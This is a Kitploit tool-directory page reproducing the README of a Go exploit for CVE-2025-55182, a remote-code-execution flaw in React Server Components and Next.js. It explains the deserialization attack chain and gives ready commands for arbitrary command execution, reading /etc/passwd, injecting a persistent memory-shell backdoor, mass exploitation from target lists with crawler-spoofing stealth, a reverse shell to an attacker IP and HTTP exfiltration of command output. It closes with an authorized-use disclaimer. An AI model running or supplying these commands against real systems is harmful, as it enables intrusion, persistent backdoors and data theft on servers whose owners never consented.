Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-golang-PoC — Go-based proof-of-concept for CVE-2025-55182, a critical RCE in React Server Components. Features vulnerability checking, command execution, memory shell injection, reverse shell, batch scanning, and proxy support for authorized security testing. | Kitploit
Tools/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Go-based proof-of-concept for CVE-2025-55182, a critical RCE in React Server Components. Features vulnerability checking, command execution, memory shell injection, reverse shell, batch scanning, and proxy support for authorized security testing.

View RepositoryWebsite
6119 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 React Server Components RCE - Go PoC

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Description

CVE-2025-55182 (also known as CVE-2025-66478) is a critical Remote Code Execution vulnerability in React Server Components (Flight protocol). This tool is a Go implementation of the PoC for security research and authorized penetration testing.

Affected versions:

  • react-server-dom-webpack: 19.0.0 - 19.2.0
  • Next.js: 15.x (before patches: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (before 16.0.7)
  • Next.js: 14.3.0-canary.77 and later canary versions

Vulnerability Details

The exploit leverages prototype pollution in Flight protocol deserialization:

  1. Uses $@ deserialization to get a Chunk reference
  2. Places Chunk.prototype.then as the then property of root object
  3. Sets status to RESOLVED_MODEL to call initializeModelChunk with a controlled fake chunk
  • Triggers Blob deserialization which calls response._formData.get with attacker payload
  • Sets response._formData.get to Function constructor for arbitrary code execution
  • Features

    • Full RCE capability - Execute arbitrary commands with output
    • Vulnerability check mode - Safe detection without exploitation
    • Next.js version detection - Automatic version fingerprinting
    • Memory Shell injection - Persistent backdoor at /exec?cmd=
    • Batch scanning - Multi-threaded scanning with JSON output
    • Comprehensive proxy support:
      • SOCKS5 with/without authentication
      • SOCKS4/SOCKS4a
      • HTTP/HTTPS proxy with/without authentication
    • Stealth mode - Browser, crawler, security User-Agents
    • Rate limiting - Configurable delays between requests
    • Reverse shell - mkfifo + nc (works on Alpine/busybox)
    • Data exfiltration - POST command output to attacker server
    • Cross-platform builds - 30+ OS/architecture combinations
    • JSON output - Machine-readable results for automation

    Installation

    Pre-built Binaries

    Download the latest release for your platform from GitHub Releases.

    Available binaries:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
    • And more...

    From Source

    root@kitploit:~
    # Clone repository
    git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
    cd CVE-2025-55182-golang-PoC
    
    # Build for current platform
    go build -o cve-2025-55182 .
    
    # Or build for all platforms
    chmod +x build.sh
    ./build.sh
    

    Build from Source

    After running ./build.sh, binaries will be available in the build/ directory for all supported platforms.

    Usage

    Basic Commands

    root@kitploit:~
    # Check single target for vulnerability
    ./cve-2025-55182 -u http://target:3000 --check
    
    # Detect Next.js version
    ./cve-2025-55182 -u http://target:3000 --version-check
    
    # Execute command with output
    ./cve-2025-55182 -u http://target:3000 -c "id"
    ./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
    

    Memory Shell (Persistent Backdoor)

    root@kitploit:~
    # Inject memory shell (checks if already installed first)
    ./cve-2025-55182 -u http://target:3000 --memshell
    
    # Test if memory shell is active
    ./cve-2025-55182 -u http://target:3000 --test-shell
    
    # Execute command via memory shell
    ./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
    
    # After injection, you can also use curl directly:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=whoami'
    

    Custom Headers & SSL Bypass

    root@kitploit:~
    # Add custom headers (can be used multiple times)
    ./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
    ./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
    
    # Skip SSL certificate verification (for self-signed certs)
    ./cve-2025-55182 -u https://target:3000 --check -k
    ./cve-2025-55182 -u https://target:3000 --check --insecure
    
    # Combine with other options
    ./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
    

    Proxy Support

    root@kitploit:~
    # SOCKS5 with authentication
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
    
    # SOCKS5 without authentication
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
    
    # SOCKS4 proxy
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
    
    # HTTP proxy
    ./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
    

    Batch Scanning

    root@kitploit:~
    # Batch check from file
    ./cve-2025-55182 --urls targets.txt --check
    
    # Batch scan with JSON output
    ./cve-2025-55182 --urls targets.txt --check --json -o results.json
    
    # Batch scan with multiple threads and stealth
    ./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
    
    # Save vulnerable targets to file
    ./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
    
    # Batch memory shell injection
    ./cve-2025-55182 --urls targets.txt --memshell --workers 10
    
    # Batch command execution
    ./cve-2025-55182 --urls targets.txt -c "id" --threads 5
    

    Network Exfiltration

    root@kitploit:~
    # Reverse shell (mkfifo + nc, works on Alpine)
    ./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
    
    # Start listener on attacker machine first:
    nc -lvnp 4444
    
    # Exfiltrate command output via HTTP POST
    ./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
    
    # Start listener: nc -lvnp 4444
    

    Options

    OptionDescription
    -u, --urlTarget URL (e.g., http://localhost:3000)
    -f, --fileFile containing target URLs (one per line)
    --urlsAlias for -f/--file
    -o, --outputOutput file for vulnerable targets
    --jsonOutput results in JSON format
    -c, --commandCommand to execute (with output)
    --checkCheck for vulnerability
    --version-checkDetect Next.js version
    --proxyProxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
    -H, --headerCustom header (can be used multiple times)
    -k, --insecureSkip SSL/TLS certificate verification
    --stealthStealth mode: browser, crawler, security (default: browser)
    --delayDelay between requests (e.g., 2s, 500ms)
    --variantsUse multiple payload variants for thorough check
    --memshellInject memory shell (persistent backdoor)
    --test-shellTest if memory shell is active
    --shell-execExecute command via memory shell
    --revshell IP PORTEstablish reverse shell
    --exfil CMD IP PORTExecute command and POST output
    -t, --timeoutRequest timeout in seconds (default: 15)
    --threadsNumber of concurrent threads (default: 10)
    --workers

    Proxy Types

    root@kitploit:~
    socks5://user:pass@ip:port  - SOCKS5 with authentication
    socks5://ip:port            - SOCKS5 without authentication  
    socks5h://ip:port           - SOCKS5 with remote DNS resolution
    socks4://ip:port            - SOCKS4 proxy
    socks4a://ip:port           - SOCKS4a proxy
    http://user:pass@ip:port    - HTTP proxy with authentication
    http://ip:port              - HTTP proxy without authentication
    https://ip:port             - HTTPS proxy
    

    Stealth Modes

    ModeDescription
    browserMimics real browser requests (Chrome, Firefox, Safari, Edge) - default
    crawlerMimics search engine crawlers (Googlebot, Bingbot, Baiduspider, etc.)
    securityUses security scanner User-Agents (Nessus, Nuclei)

    Memory Shell

    The memory shell feature injects a persistent backdoor that:

    1. Checks first - Before injection, verifies if shell is already installed
    2. Hooks http.Server.prototype.emit - Intercepts all HTTP requests
    3. Creates /exec endpoint - Accepts cmd query parameter
    4. Survives until restart - Persists in server memory
    root@kitploit:~
    # After injection:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=ls+-la'
    curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
    

    Project Structure

    root@kitploit:~
    .
    ├── main.go                   # CLI entry point
    ├── pkg/
    │   ├── colors/
    │   │   └── colors.go         # Terminal colors with --nocolor support
    │   ├── exploit/
    │   │   └── exploit.go        # Core exploit logic, memory shell, version detection
    │   ├── proxy/
    │   │   └── proxy.go          # SOCKS4/5, HTTP proxy support
    │   ├── scanner/
    │   │   └── scanner.go        # Batch scanning with JSON output
    │   └── stealth/
    │       └── stealth.go        # User-Agent randomization
    ├── build.sh                  # Cross-platform build script
    ├── go.mod                    # Go module file
    ├── go.sum                    # Go dependencies
    └── README.md                 # This file
    

    Cross-Platform Builds

    The build.sh script builds for 30+ platforms:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64 (.exe)
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD: amd64, 386, arm, arm64
    • OpenBSD: amd64, 386, arm, arm64
    • NetBSD: amd64, 386, arm, arm64
    • DragonFly BSD: amd64
    • Solaris/Illumos: amd64
    • Plan 9: amd64, 386
    • AIX: ppc64
    root@kitploit:~
    chmod +x build.sh
    ./build.sh
    

    JSON Output Format

    When using --json flag, results are saved in JSONL format (one JSON per line):

    root@kitploit:~
    {"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
    

    Full report (_report.json) includes:

    root@kitploit:~
    {
      "scan_time": "2025-12-06T12:00:00Z",
      "total_urls": 100,
      "vulnerable_count": 5,
      "safe_count": 90,
      "timeout_count": 5,
      "results": [...]
    }
    

    Version Detection

    The tool can detect Next.js version from:

    • X-Powered-By header
    • HTML/JS source (__NEXT_DATA__, /_next/ paths)
    • Build manifest patterns

    Vulnerable versions are highlighted in red.

    Disclaimer

    ⚠️ IMPORTANT LEGAL NOTICE ⚠️

    This tool is provided strictly for educational purposes and authorized security testing only.

    Intended Use

    • Security research and vulnerability assessment
    • Authorized penetration testing with written permission
    • Testing your own applications and infrastructure
    • Educational demonstration in controlled lab environments
    • Developing patches and security mitigations

    Prohibited Use

    It is strictly prohibited to use this tool:

    • Against systems you do not own or have explicit written authorization to test
    • For any malicious, illegal, or unauthorized activities
    • To gain unauthorized access to computer systems or networks
    • In violation of any applicable local, state, national, or international laws
    • To disrupt, damage, or compromise systems without authorization

    Legal Warning

    Unauthorized access to computer systems is a criminal offense in most jurisdictions worldwide, including but not limited to:

    • 🇺🇸 USA: Computer Fraud and Abuse Act (CFAA) - up to 20 years imprisonment
    • 🇪🇺 EU: Directive 2013/40/EU on attacks against information systems
    • 🇷🇺 Russia: Article 272-274 of the Criminal Code
    • 🇬🇧 UK: Computer Misuse Act 1990
    • 🇩🇪 Germany: §202a-202d StGB
    • 🇨🇳 China: Criminal Law Articles 285-287

    No Warranty

    THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHORS AND COPYRIGHT HOLDERS SHALL NOT BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY ARISING FROM THE USE OF THIS SOFTWARE.

    User Responsibility

    By downloading, installing, or using this tool, you acknowledge that:

    1. You are solely responsible for your actions
    2. You will only use this tool on systems you own or have explicit authorization to test
    3. You understand and accept all risks associated with using this software
    4. The author bears no responsibility for any misuse or damage caused

    If you do not agree with these terms, do not use this tool.

    Author

    Vladislav Tislenko aka keklick1337
    Date: 2025-12-05

    License

    This project is licensed under the MIT License - see the LICENSE file for details.


    Use responsibly. Stay legal. 🔐

    Download Tool
    Alias for --threads
    --nocolorDisable colored output (for Windows/pipes)
    -h, --helpShow help message
    -v, --versionShow version